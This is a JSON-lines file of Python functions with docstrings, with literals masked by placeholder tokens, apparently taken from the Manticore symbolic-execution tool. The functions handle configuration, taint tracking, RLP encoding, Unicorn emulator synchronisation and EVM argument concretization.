{"signature": "def add_config_vars_to_argparse(args):", "body": "global _groups<EOL>for group_name, group in _groups.items():<EOL><INDENT>for key in group:<EOL><INDENT>obj = group._var_object(key)<EOL>args.add_argument(f\"<STR_LIT>\", type=type(obj.default),<EOL>default=obj.default, help=obj.description)<EOL><DEDENT><DEDENT>", "docstring": "Import all defined config vars into |args|, for parsing command line.\n:param args: A container for argparse vars\n:type args: argparse.ArgumentParser or argparse._ArgumentGroup\n:return:", "id": "f17008:m4"}
{"signature": "def process_config_values(parser: argparse.ArgumentParser, args: argparse.Namespace):", "body": "<EOL>load_overrides(args.config)<EOL>defined_vars = list(get_config_keys())<EOL>command_line_args = vars(args)<EOL>config_cli_args = get_group('<STR_LIT>')<EOL>for k in command_line_args:<EOL><INDENT>default = parser.get_default(k)<EOL>set_val = getattr(args, k)<EOL>if default is not set_val:<EOL><INDENT>if k not in defined_vars:<EOL><INDENT>config_cli_args.update(k, value=set_val)<EOL><DEDENT>else:<EOL><INDENT>group_name, key = k.split('<STR_LIT:.>')<EOL>group = get_group(group_name)<EOL>setattr(group, key, set_val)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if k in config_cli_args:<EOL><INDENT>setattr(args, k, getattr(config_cli_args, k))<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Bring in provided config values to the args parser, and import entries to the config\nfrom all arguments that were actually passed on the command line\n\n:param parser: The arg parser\n:param args: The value that parser.parse_args returned", "id": "f17008:m5"}
{"signature": "def get_config_keys():", "body": "global _groups<EOL>for group_name, group in _groups.items():<EOL><INDENT>for key in group:<EOL><INDENT>yield f\"<STR_LIT>\"<EOL><DEDENT><DEDENT>", "docstring": "Return an iterable covering all defined keys so far", "id": "f17008:m6"}
{"signature": "def add(self, name: str, default=None, description: str=None):", "body": "if name in self._vars:<EOL><INDENT>raise ConfigError(f\"<STR_LIT>\")<EOL><DEDENT>if name == '<STR_LIT:name>':<EOL><INDENT>raise ConfigError(\"<STR_LIT>\")<EOL><DEDENT>v = _Var(name, description=description, default=default)<EOL>self._vars[name] = v<EOL>", "docstring": "Add a variable named |name| to this value group, optionally giving it a\ndefault value and a description.\n\nVariables must be added with this method before they can be set or read.\nReading a variable replaces the variable that was defined previously, but\nupdates the description if a new one is set.", "id": "f17008:c2:m2"}
{"signature": "def update(self, name: str, value=None, default=None, description: str=None):", "body": "if name in self._vars:<EOL><INDENT>description = description or self._vars[name].description<EOL>default = default or self._vars[name].default<EOL><DEDENT>elif name == '<STR_LIT:name>':<EOL><INDENT>raise ConfigError(\"<STR_LIT>\")<EOL><DEDENT>v = _Var(name, description=description, default=default, defined=False)<EOL>v.value = value<EOL>self._vars[name] = v<EOL>", "docstring": "Like add, but can tolerate existing values; also updates the value.\n\nMostly used for setting fields from imported INI files and modified CLI flags.", "id": "f17008:c2:m3"}
{"signature": "def get_description(self, name: str) -> str:", "body": "if name not in self._vars:<EOL><INDENT>raise ConfigError(f\"<STR_LIT>\")<EOL><DEDENT>return self._vars[name].description<EOL>", "docstring": "Return the description, or a help string of variable identified by |name|.", "id": "f17008:c2:m4"}
{"signature": "def updated_vars(self):", "body": "return filter(lambda x: x.was_set, self._vars.values())<EOL>", "docstring": "Return all vars that were explicitly set or updated with new values.", "id": "f17008:c2:m5"}
{"signature": "def temp_vals(self) -> \"<STR_LIT>\":", "body": "return _TemporaryGroup(self)<EOL>", "docstring": "Returns a contextmanager that can be used to set temporary config variables.\nE.g.:\ngroup.var = 123\n\nwith group.temp_vals():\n    group.var = 456\n    # var is 456\n\n# group.var is back to 123", "id": "f17008:c2:m11"}
{"signature": "def output_detectors(detector_classes):", "body": "detectors_list = []<EOL>for detector in detector_classes:<EOL><INDENT>argument = detector.ARGUMENT<EOL>help_info = detector.HELP<EOL>impact = detector.IMPACT<EOL>confidence = classification_txt[detector.CONFIDENCE]<EOL>detectors_list.append((argument, help_info, impact, confidence))<EOL><DEDENT>table = PrettyTable([\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\"])<EOL>detectors_list = sorted(detectors_list, key=lambda element: (element[<NUM_LIT:2>], element[<NUM_LIT:3>], element[<NUM_LIT:0>]))<EOL>idx = <NUM_LIT:1><EOL>for (argument, help_info, impact, confidence) in detectors_list:<EOL><INDENT>table.add_row([idx, argument, help_info, classification_txt[impact], confidence])<EOL>idx = idx + <NUM_LIT:1><EOL><DEDENT>print(table)<EOL>", "docstring": "Copied from\nhttps://github.com/trailofbits/slither/blob/563d5118298e4cae7f0ea5f2a531f0dcdcebd64d/slither/utils/command_line.py", "id": "f17009:m0"}
{"signature": "def summarized_name(self, name):", "body": "components = name.split('<STR_LIT:.>')<EOL>prefix = '<STR_LIT:.>'.join(c[<NUM_LIT:0>] for c in components[:-<NUM_LIT:1>])<EOL>return f'<STR_LIT>'<EOL>", "docstring": "Produce a summarized record name\n  i.e. manticore.core.executor -> m.c.executor", "id": "f17010:c0:m0"}
{"signature": "def colored_level_name(self, levelname):", "body": "if self.colors_disabled:<EOL><INDENT>return self.plain_levelname_format.format(levelname)<EOL><DEDENT>else:<EOL><INDENT>return self.colored_levelname_format.format(self.color_map[levelname], levelname)<EOL><DEDENT>", "docstring": "Colors the logging level in the logging record", "id": "f17010:c0:m1"}
{"signature": "def rlp_encode(item):", "body": "if item is None or item == <NUM_LIT:0>:<EOL><INDENT>ret = b'<STR_LIT>'<EOL><DEDENT>elif isinstance(item, str):<EOL><INDENT>ret = rlp_encode(item.encode('<STR_LIT:utf8>'))<EOL><DEDENT>elif isinstance(item, (bytearray, bytes)):<EOL><INDENT>if len(item) == <NUM_LIT:1> and item[<NUM_LIT:0>] < <NUM_LIT>:<EOL><INDENT>ret = item<EOL><DEDENT>else:<EOL><INDENT>ret = encode_length(len(item), <NUM_LIT>) + item<EOL><DEDENT><DEDENT>elif isinstance(item, collections.abc.Sequence):<EOL><INDENT>output = b'<STR_LIT>'.join(map(rlp_encode, item))<EOL>ret = encode_length(len(output), <NUM_LIT>) + output<EOL><DEDENT>elif isinstance(item, int):<EOL><INDENT>ret = rlp_encode(int_to_bytes(item))<EOL><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\" % type(item).__name__)<EOL><DEDENT>return ret<EOL>", "docstring": "r\"\"\" Recursive Length Prefix Encoding\n        :param item: the object to encode, either a string, bytes, bytearray, int, long, or sequence\n\n    https://github.com/ethereum/wiki/wiki/RLP\n\n    >>> rlp_encode('dog')\n    b'\\x83dog'\n\n    >>> rlp_encode([ 'cat', 'dog' ])\n    b'\\xc8\\x83cat\\x83dog'\n\n    >>> rlp_encode('')\n    b'\\x80'\n\n    >>> rlp_encode([])\n    b'\\xc0'\n\n    >>> rlp_encode(0)\n    b'\\x80'\n\n    >>> rlp_encode('\\x00')\n    b'\\x00'\n\n    >>> rlp_encode(15)\n    b'\\x0f'\n\n    >>> rlp_encode(1024)\n    b'\\x82\\x04\\x00'\n\n    >>> rlp_encode([ [], [[]], [ [], [[]] ] ])\n    b'\\xc7\\xc0\\xc1\\xc0\\xc3\\xc0\\xc1\\xc0'", "id": "f17011:m1"}
{"signature": "def issymbolic(value):", "body": "from ..core.smtlib import Expression  <EOL>return isinstance(value, Expression)<EOL>", "docstring": "Helper to determine whether an object is symbolic (e.g checking\nif data read from memory is symbolic)\n\n:param object value: object to check\n:return: whether `value` is symbolic\n:rtype: bool", "id": "f17014:m0"}
{"signature": "def istainted(arg, taint=None):", "body": "if not issymbolic(arg):<EOL><INDENT>return False<EOL><DEDENT>if taint is None:<EOL><INDENT>return len(arg.taint) != <NUM_LIT:0><EOL><DEDENT>for arg_taint in arg.taint:<EOL><INDENT>m = re.match(taint, arg_taint, re.DOTALL | re.IGNORECASE)<EOL>if m:<EOL><INDENT>return True<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Helper to determine whether an object if tainted.\n:param arg: a value or Expression\n:param taint: a regular expression matching a taint value (eg. 'IMPORTANT.*'). If None, this function checks for any taint value.", "id": "f17014:m1"}
{"signature": "def get_taints(arg, taint=None):", "body": "if not issymbolic(arg):<EOL><INDENT>return<EOL><DEDENT>for arg_taint in arg.taint:<EOL><INDENT>if taint is not None:<EOL><INDENT>m = re.match(taint, arg_taint, re.DOTALL | re.IGNORECASE)<EOL>if m:<EOL><INDENT>yield arg_taint<EOL><DEDENT><DEDENT>else:<EOL><INDENT>yield arg_taint<EOL><DEDENT><DEDENT>return<EOL>", "docstring": "Helper to list an object taints.\n:param arg: a value or Expression\n:param taint: a regular expression matching a taint value (eg. 'IMPORTANT.*'). If None, this function checks for any taint value.", "id": "f17014:m2"}
{"signature": "def taint_with(arg, taint, value_bits=<NUM_LIT>, index_bits=<NUM_LIT>):", "body": "from ..core.smtlib import BitVecConstant  <EOL>tainted_fset = frozenset((taint,))<EOL>if not issymbolic(arg):<EOL><INDENT>if isinstance(arg, int):<EOL><INDENT>arg = BitVecConstant(value_bits, arg)<EOL>arg._taint = tainted_fset<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>arg = copy.copy(arg)<EOL>arg._taint |= tainted_fset<EOL><DEDENT>return arg<EOL>", "docstring": "Helper to taint a value.\n:param arg: a value or Expression\n:param taint: a regular expression matching a taint value (eg. 'IMPORTANT.*'). If None, this function checks for any taint value.", "id": "f17014:m3"}
{"signature": "def interval_intersection(min1, max1, min2, max2):", "body": "left, right = max(min1, min2), min(max1, max2)<EOL>if left < right:<EOL><INDENT>return left, right<EOL><DEDENT>return None<EOL>", "docstring": "Given two intervals, (min1, max1) and (min2, max2) return their intersecting interval,\nor None if they do not overlap.", "id": "f17014:m4"}
{"signature": "def _create_emulated_mapping(self, uc, address):", "body": "m = self._cpu.memory.map_containing(address)<EOL>permissions = UC_PROT_NONE<EOL>if '<STR_LIT:r>' in m.perms:<EOL><INDENT>permissions |= UC_PROT_READ<EOL><DEDENT>if '<STR_LIT:w>' in m.perms:<EOL><INDENT>permissions |= UC_PROT_WRITE<EOL><DEDENT>if '<STR_LIT:x>' in m.perms:<EOL><INDENT>permissions |= UC_PROT_EXEC<EOL><DEDENT>uc.mem_map(m.start, len(m), permissions)<EOL>self._should_be_mapped[m.start] = (len(m), permissions)<EOL>return m<EOL>", "docstring": "Create a mapping in Unicorn and note that we'll need it if we retry.\n:param uc: The Unicorn instance.\n:param address: The address which is contained by the mapping.\n:rtype Map", "id": "f17015:c0:m2"}
{"signature": "def _hook_xfer_mem(self, uc, access, address, size, value, data):", "body": "assert access in (UC_MEM_WRITE, UC_MEM_READ, UC_MEM_FETCH)<EOL>if access == UC_MEM_WRITE:<EOL><INDENT>self._cpu.write_int(address, value, size * <NUM_LIT:8>)<EOL><DEDENT>elif access == UC_MEM_READ:<EOL><INDENT>value = self._cpu.read_bytes(address, size)<EOL>if address in self._should_be_written:<EOL><INDENT>return True<EOL><DEDENT>self._should_be_written[address] = value<EOL>self._should_try_again = True<EOL>return False<EOL><DEDENT>return True<EOL>", "docstring": "Handle memory operations from unicorn.", "id": "f17015:c0:m4"}
{"signature": "def _hook_unmapped(self, uc, access, address, size, value, data):", "body": "try:<EOL><INDENT>m = self._create_emulated_mapping(uc, address)<EOL><DEDENT>except MemoryException as e:<EOL><INDENT>self._to_raise = e<EOL>self._should_try_again = False<EOL>return False<EOL><DEDENT>self._should_try_again = True<EOL>return False<EOL>", "docstring": "We hit an unmapped region; map it into unicorn.", "id": "f17015:c0:m5"}
{"signature": "def _interrupt(self, uc, number, data):", "body": "from ..native.cpu.abstractcpu import Interruption  <EOL>self._to_raise = Interruption(number)<EOL>return True<EOL>", "docstring": "Handle software interrupt (SVC/INT)", "id": "f17015:c0:m6"}
{"signature": "def emulate(self, instruction):", "body": "<EOL>while True:<EOL><INDENT>self.reset()<EOL>for base in self._should_be_mapped:<EOL><INDENT>size, perms = self._should_be_mapped[base]<EOL>self._emu.mem_map(base, size, perms)<EOL><DEDENT>for address, values in self._should_be_written.items():<EOL><INDENT>for offset, byte in enumerate(values, start=address):<EOL><INDENT>if issymbolic(byte):<EOL><INDENT>from ..native.cpu.abstractcpu import ConcretizeMemory<EOL>raise ConcretizeMemory(self._cpu.memory, offset, <NUM_LIT:8>,<EOL>\"<STR_LIT>\")<EOL><DEDENT><DEDENT>self._emu.mem_write(address, b'<STR_LIT>'.join(values))<EOL><DEDENT>self._should_try_again = False<EOL>self._step(instruction)<EOL>if not self._should_try_again:<EOL><INDENT>break<EOL><DEDENT><DEDENT>", "docstring": "Emulate a single instruction.", "id": "f17015:c0:m8"}
{"signature": "def _step(self, instruction):", "body": "logger.debug(\"<STR_LIT>\"<EOL>% (instruction.address, instruction.mnemonic, instruction.op_str))<EOL>registers = set(self._cpu.canonical_registers)<EOL>if self._cpu.arch == CS_ARCH_X86:<EOL><INDENT>registers -= set(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'])<EOL>registers.add('<STR_LIT>')<EOL>registers -= set(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'])<EOL>registers |= set(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'])<EOL><DEDENT>for reg in registers:<EOL><INDENT>val = self._cpu.read_register(reg)<EOL>if issymbolic(val):<EOL><INDENT>from ..native.cpu.abstractcpu import ConcretizeRegister<EOL>raise ConcretizeRegister(self._cpu, reg, \"<STR_LIT>\",<EOL>policy='<STR_LIT>')<EOL><DEDENT>self._emu.reg_write(self._to_unicorn_id(reg), val)<EOL><DEDENT>instruction = self._cpu.decode_instruction(self._cpu.PC)<EOL>text_bytes = self._cpu.read_bytes(self._cpu.PC, instruction.size)<EOL>self._emu.mem_write(self._cpu.PC, b'<STR_LIT>'.join(text_bytes))<EOL>self._emu.hook_add(UC_HOOK_MEM_READ_UNMAPPED, self._hook_unmapped)<EOL>self._emu.hook_add(UC_HOOK_MEM_WRITE_UNMAPPED, self._hook_unmapped)<EOL>self._emu.hook_add(UC_HOOK_MEM_FETCH_UNMAPPED, self._hook_unmapped)<EOL>self._emu.hook_add(UC_HOOK_MEM_READ, self._hook_xfer_mem)<EOL>self._emu.hook_add(UC_HOOK_MEM_WRITE, self._hook_xfer_mem)<EOL>self._emu.hook_add(UC_HOOK_INTR, self._interrupt)<EOL>saved_PC = self._cpu.PC<EOL>try:<EOL><INDENT>pc = self._cpu.PC<EOL>if self._cpu.arch == CS_ARCH_ARM and self._uc_mode == UC_MODE_THUMB:<EOL><INDENT>pc |= <NUM_LIT:1><EOL><DEDENT>self._emu.emu_start(pc, self._cpu.PC + instruction.size, count=<NUM_LIT:1>)<EOL><DEDENT>except UcError as e:<EOL><INDENT>if not self._should_try_again:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>if self._should_try_again:<EOL><INDENT>return<EOL><DEDENT>if logger.isEnabledFor(logging.DEBUG):<EOL><INDENT>logger.debug(\"<STR_LIT:=>\" * <NUM_LIT:10>)<EOL>for register in self._cpu.canonical_registers:<EOL><INDENT>logger.debug(<EOL>f\"<STR_LIT>\"<EOL>f\"<STR_LIT>\"<EOL>f\"<STR_LIT>\"<EOL>)<EOL><DEDENT>logger.debug(\"<STR_LIT:>>\" * <NUM_LIT:10>)<EOL><DEDENT>for reg in registers:<EOL><INDENT>val = self._emu.reg_read(self._to_unicorn_id(reg))<EOL>self._cpu.write_register(reg, val)<EOL><DEDENT>mu_pc = self.get_unicorn_pc()<EOL>if saved_PC == mu_pc:<EOL><INDENT>self._cpu.PC = saved_PC + instruction.size<EOL><DEDENT>if self._to_raise:<EOL><INDENT>raise self._to_raise<EOL><DEDENT>return<EOL>", "docstring": "A single attempt at executing an instruction.", "id": "f17015:c0:m9"}
{"signature": "def deprecated(message: str):", "body": "assert isinstance(message, str), \"<STR_LIT>\"<EOL>def decorator(func):<EOL><INDENT>@wraps(func)<EOL>def wrapper(*args, **kwargs):<EOL><INDENT>warnings.warn(f\"<STR_LIT>\",<EOL>category=ManticoreDeprecationWarning, stacklevel=<NUM_LIT:2>)<EOL>return func(*args, **kwargs)<EOL><DEDENT>return wrapper<EOL><DEDENT>return decorator<EOL>", "docstring": "A decorator for marking functions as deprecated.", "id": "f17016:m0"}
{"signature": "@classmethod<EOL><INDENT>def all_events(cls):<DEDENT>", "body": "all_evts = set()<EOL>for cls, evts in cls.__all_events__.items():<EOL><INDENT>all_evts.update(evts)<EOL><DEDENT>return all_evts<EOL>", "docstring": "Return all events that all subclasses have so far registered to publish.", "id": "f17017:c1:m0"}
{"signature": "def __setstate__(self, state):", "body": "self._signals = dict()<EOL>self._forwards = WeakKeyDictionary()<EOL>return True<EOL>", "docstring": "It wont get serialized by design, user is responsible to reconnect", "id": "f17017:c1:m2"}
{"signature": "def forward_events_to(self, sink, include_source=False):", "body": "assert isinstance(sink, Eventful), f'<STR_LIT>'<EOL>self._forwards[sink] = include_source<EOL>", "docstring": "This forwards signal to sink", "id": "f17017:c1:m11"}
{"signature": "def convert_permissions(m_perms):", "body": "permissions = UC_PROT_NONE<EOL>if '<STR_LIT:r>' in m_perms:<EOL><INDENT>permissions |= UC_PROT_READ<EOL><DEDENT>if '<STR_LIT:w>' in m_perms:<EOL><INDENT>permissions |= UC_PROT_WRITE<EOL><DEDENT>if '<STR_LIT:x>' in m_perms:<EOL><INDENT>permissions |= UC_PROT_EXEC<EOL><DEDENT>return permissions<EOL>", "docstring": "Converts a Manticore permission string into a Unicorn permission\n:param m_perms: Manticore perm string ('rwx')\n:return: Unicorn Permissions", "id": "f17018:m0"}
{"signature": "def hr_size(num, suffix='<STR_LIT:B>') -> str:", "body": "for unit in '<STR_LIT>':<EOL><INDENT>if abs(num) < <NUM_LIT>:<EOL><INDENT>return \"<STR_LIT>\" % (num, unit if unit != '<STR_LIT:U+0020>' else '<STR_LIT>', suffix)<EOL><DEDENT>num /= <NUM_LIT><EOL><DEDENT>return \"<STR_LIT>\" % (num, '<STR_LIT:Y>', suffix)<EOL>", "docstring": "Human-readable data size\nFrom https://stackoverflow.com/a/1094933\n:param num: number of bytes\n:param suffix: Optional size specifier\n:return: Formatted string", "id": "f17018:m1"}
{"signature": "def copy_memory(self, address, size):", "body": "start_time = time.time()<EOL>map_bytes = self._cpu._raw_read(address, size)<EOL>self._emu.mem_write(address, map_bytes)<EOL>if time.time() - start_time > <NUM_LIT:3>:<EOL><INDENT>logger.info(f\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Copy the bytes from address to address+size into Unicorn\nUsed primarily for copying memory maps\n:param address: start of buffer to copy\n:param size: How many bytes to copy", "id": "f17018:c0:m2"}
{"signature": "def map_memory_callback(self, address, size, perms, name, offset, result):", "body": "logger.info('<STR_LIT:U+0020>'.join((\"<STR_LIT>\",<EOL>hex(address) if type(address) is int else \"<STR_LIT>\",<EOL>hr_size(size), \"<STR_LIT:->\",<EOL>perms, \"<STR_LIT:->\",<EOL>f\"<STR_LIT>\", \"<STR_LIT>\",<EOL>hex(result))))<EOL>self._emu.mem_map(address, size, convert_permissions(perms))<EOL>self.copy_memory(address, size)<EOL>", "docstring": "Catches did_map_memory and copies the mapping into Manticore", "id": "f17018:c0:m3"}
{"signature": "def unmap_memory_callback(self, start, size):", "body": "logger.info(f\"<STR_LIT>\")<EOL>mask = (<NUM_LIT:1> << <NUM_LIT:12>) - <NUM_LIT:1><EOL>if (start & mask) != <NUM_LIT:0>:<EOL><INDENT>logger.error(\"<STR_LIT>\")<EOL><DEDENT>if (size & mask) != <NUM_LIT:0>:<EOL><INDENT>size = ((size >> <NUM_LIT:12>) + <NUM_LIT:1>) << <NUM_LIT:12><EOL>logger.warning(\"<STR_LIT>\")<EOL><DEDENT>self._emu.mem_unmap(start, size)<EOL>", "docstring": "Unmap Unicorn maps when Manticore unmaps them", "id": "f17018:c0:m4"}
{"signature": "def protect_memory_callback(self, start, size, perms):", "body": "logger.info(f\"<STR_LIT>\")<EOL>self._emu.mem_protect(start, size, convert_permissions(perms))<EOL>", "docstring": "Set memory protections in Unicorn correctly", "id": "f17018:c0:m5"}
{"signature": "def get_unicorn_pc(self):", "body": "if self._cpu.arch == CS_ARCH_ARM:<EOL><INDENT>return self._emu.reg_read(UC_ARM_REG_R15)<EOL><DEDENT>elif self._cpu.arch == CS_ARCH_X86:<EOL><INDENT>if self._cpu.mode == CS_MODE_32:<EOL><INDENT>return self._emu.reg_read(UC_X86_REG_EIP)<EOL><DEDENT>elif self._cpu.mode == CS_MODE_64:<EOL><INDENT>return self._emu.reg_read(UC_X86_REG_RIP)<EOL><DEDENT><DEDENT>", "docstring": "Get the program counter from Unicorn regardless of architecture.\n        Legacy method, since this module only works on x86.", "id": "f17018:c0:m6"}
{"signature": "def _hook_syscall(self, uc, data):", "body": "logger.debug(f\"<STR_LIT>\")<EOL>self.sync_unicorn_to_manticore()<EOL>from ..native.cpu.abstractcpu import Syscall<EOL>self._to_raise = Syscall()<EOL>uc.emu_stop()<EOL>", "docstring": "Unicorn hook that transfers control to Manticore so it can execute the syscall", "id": "f17018:c0:m7"}
{"signature": "def _hook_write_mem(self, uc, access, address, size, value, data):", "body": "self._mem_delta[address] = (value, size)<EOL>return True<EOL>", "docstring": "Captures memory written by Unicorn", "id": "f17018:c0:m8"}
{"signature": "def _hook_unmapped(self, uc, access, address, size, value, data):", "body": "try:<EOL><INDENT>self.sync_unicorn_to_manticore()<EOL>logger.warning(f\"<STR_LIT>\")<EOL>m = self._cpu.memory.map_containing(address)<EOL>self.copy_memory(m.start, m.end - m.start)<EOL><DEDENT>except MemoryException as e:<EOL><INDENT>logger.error(\"<STR_LIT>\".format(hex(address), hex(address + size), access, e))<EOL>self._to_raise = e<EOL>self._should_try_again = False<EOL>return False<EOL><DEDENT>self._should_try_again = True<EOL>return False<EOL>", "docstring": "We hit an unmapped region; map it into unicorn.", "id": "f17018:c0:m9"}
{"signature": "def _interrupt(self, uc, number, data):", "body": "logger.info(\"<STR_LIT>\" % number)<EOL>from ..native.cpu.abstractcpu import Interruption  <EOL>self._to_raise = Interruption(number)<EOL>return True<EOL>", "docstring": "Handle software interrupt (SVC/INT)", "id": "f17018:c0:m10"}
{"signature": "def emulate(self, instruction):", "body": "<EOL>while True:<EOL><INDENT>self._should_try_again = False<EOL>self._to_raise = None<EOL>self._step(instruction)<EOL>if not self._should_try_again:<EOL><INDENT>break<EOL><DEDENT><DEDENT>", "docstring": "Wrapper that runs the _step function in a loop while handling exceptions", "id": "f17018:c0:m12"}
{"signature": "def _step(self, instruction, chunksize=<NUM_LIT:0>):", "body": "try:<EOL><INDENT>pc = self._cpu.PC<EOL>m = self._cpu.memory.map_containing(pc)<EOL>if self._stop_at:<EOL><INDENT>logger.info(f\"<STR_LIT>\")<EOL><DEDENT>self._emu.emu_start(pc, m.end if not self._stop_at else self._stop_at, count=chunksize)<EOL><DEDENT>except UcError:<EOL><INDENT>if not self._should_try_again:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>if self._should_try_again:<EOL><INDENT>return<EOL><DEDENT>self._cpu.PC = self.get_unicorn_pc()<EOL>if self._cpu.PC == self._stop_at:<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>self.sync_unicorn_to_manticore()<EOL>self._stop_at = None<EOL><DEDENT>if self._to_raise:<EOL><INDENT>from ..native.cpu.abstractcpu import Syscall<EOL>if type(self._to_raise) is not Syscall:<EOL><INDENT>logger.info(\"<STR_LIT>\", self._to_raise)<EOL><DEDENT>raise self._to_raise<EOL><DEDENT>logger.info(f\"<STR_LIT>\")<EOL>return<EOL>", "docstring": "Execute a chunk fo instructions starting from instruction\n:param instruction: Where to start\n:param chunksize: max number of instructions to execute. Defaults to infinite.", "id": "f17018:c0:m13"}
{"signature": "def sync_unicorn_to_manticore(self):", "body": "self.write_backs_disabled = True<EOL>for reg in self.registers:<EOL><INDENT>val = self._emu.reg_read(self._to_unicorn_id(reg))<EOL>self._cpu.write_register(reg, val)<EOL><DEDENT>if len(self._mem_delta) > <NUM_LIT:0>:<EOL><INDENT>logger.debug(f\"<STR_LIT>\")<EOL><DEDENT>for location in self._mem_delta:<EOL><INDENT>value, size = self._mem_delta[location]<EOL>self._cpu.write_int(location, value, size * <NUM_LIT:8>)<EOL><DEDENT>self.write_backs_disabled = False<EOL>self._mem_delta = {}<EOL>", "docstring": "Copy registers and written memory back into Manticore", "id": "f17018:c0:m14"}
{"signature": "def write_back_memory(self, where, expr, size):", "body": "if self.write_backs_disabled:<EOL><INDENT>return<EOL><DEDENT>if type(expr) is bytes:<EOL><INDENT>self._emu.mem_write(where, expr)<EOL><DEDENT>else:<EOL><INDENT>if issymbolic(expr):<EOL><INDENT>data = [Operators.CHR(Operators.EXTRACT(expr, offset, <NUM_LIT:8>)) for offset in range(<NUM_LIT:0>, size, <NUM_LIT:8>)]<EOL>concrete_data = []<EOL>for c in data:<EOL><INDENT>if issymbolic(c):<EOL><INDENT>c = chr(solver.get_value(self._cpu.memory.constraints, c))<EOL><DEDENT>concrete_data.append(c)<EOL><DEDENT>data = concrete_data<EOL><DEDENT>else:<EOL><INDENT>data = [Operators.CHR(Operators.EXTRACT(expr, offset, <NUM_LIT:8>)) for offset in range(<NUM_LIT:0>, size, <NUM_LIT:8>)]<EOL><DEDENT>logger.debug(f\"<STR_LIT>\")<EOL>self._emu.mem_write(where, b'<STR_LIT>'.join(b.encode('<STR_LIT:utf-8>') if type(b) is str else b for b in data))<EOL><DEDENT>", "docstring": "Copy memory writes from Manticore back into Unicorn in real-time", "id": "f17018:c0:m15"}
{"signature": "def write_back_register(self, reg, val):", "body": "if self.write_backs_disabled:<EOL><INDENT>return<EOL><DEDENT>if issymbolic(val):<EOL><INDENT>logger.warning(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>if reg in self.flag_registers:<EOL><INDENT>self._emu.reg_write(self._to_unicorn_id('<STR_LIT>'), self._cpu.read_register('<STR_LIT>'))<EOL>return<EOL><DEDENT>self._emu.reg_write(self._to_unicorn_id(reg), val)<EOL>", "docstring": "Sync register state from Manticore -> Unicorn", "id": "f17018:c0:m16"}
{"signature": "def update_segment(self, selector, base, size, perms):", "body": "logger.info(\"<STR_LIT>\", selector, base, size, perms)<EOL>if selector == <NUM_LIT>:<EOL><INDENT>self.set_fs(base)<EOL><DEDENT>else:<EOL><INDENT>logger.error(\"<STR_LIT>\", selector)<EOL><DEDENT>", "docstring": "Only useful for setting FS right now.", "id": "f17018:c0:m17"}
{"signature": "def set_fs(self, addr):", "body": "FSMSR = <NUM_LIT><EOL>return self._emu.msr_write(FSMSR, addr)<EOL>", "docstring": "set the FS.base hidden descriptor-register field to the given address.\nthis enables referencing the fs segment on x86-64.", "id": "f17018:c0:m18"}
{"signature": "def concretized_args(**policies):", "body": "def concretizer(func):<EOL><INDENT>@wraps(func)<EOL>def wrapper(*args, **kwargs):<EOL><INDENT>spec = inspect.getfullargspec(func)<EOL>for arg, policy in policies.items():<EOL><INDENT>assert arg in spec.args, \"<STR_LIT>\"<EOL>index = spec.args.index(arg)<EOL>if not issymbolic(args[index]):<EOL><INDENT>continue<EOL><DEDENT>if not policy:<EOL><INDENT>policy = '<STR_LIT>'<EOL><DEDENT>if policy == \"<STR_LIT>\":<EOL><INDENT>value = args[index]<EOL>world = args[<NUM_LIT:0>].world<EOL>cond = world._constraint_to_accounts(value, ty='<STR_LIT>', include_zero=True)<EOL>world.constraints.add(cond)<EOL>policy = '<STR_LIT>'<EOL><DEDENT>raise ConcretizeArgument(index, policy=policy)<EOL><DEDENT>return func(*args, **kwargs)<EOL><DEDENT>wrapper.__signature__ = inspect.signature(func)<EOL>return wrapper<EOL><DEDENT>return concretizer<EOL>", "docstring": "Make sure an EVM instruction has all of its arguments concretized according to\nprovided policies.\n\nExample decoration:\n\n    @concretized_args(size='ONE', address='')\n    def LOG(self, address, size, *topics):\n        ...\n\nThe above will make sure that the |size| parameter to LOG is Concretized when symbolic\naccording to the 'ONE' policy and concretize |address| with the default policy.\n\n:param policies: A kwargs list of argument names and their respective policies.\n                     Provide None or '' as policy to use default.\n:return: A function decorator", "id": "f17019:m2"}
{"signature": "def to_dict(self, mevm):", "body": "return dict(type=self.sort,<EOL>from_address=self.caller,<EOL>from_name=mevm.account_name(self.caller),<EOL>to_address=self.address,<EOL>to_name=mevm.account_name(self.address),<EOL>value=self.value,<EOL>gas=self.gas,<EOL>data=binascii.hexlify(self.data).decode())<EOL>", "docstring": "Only meant to be used with concrete Transaction objects! (after calling .concretize())", "id": "f17019:c0:m2"}
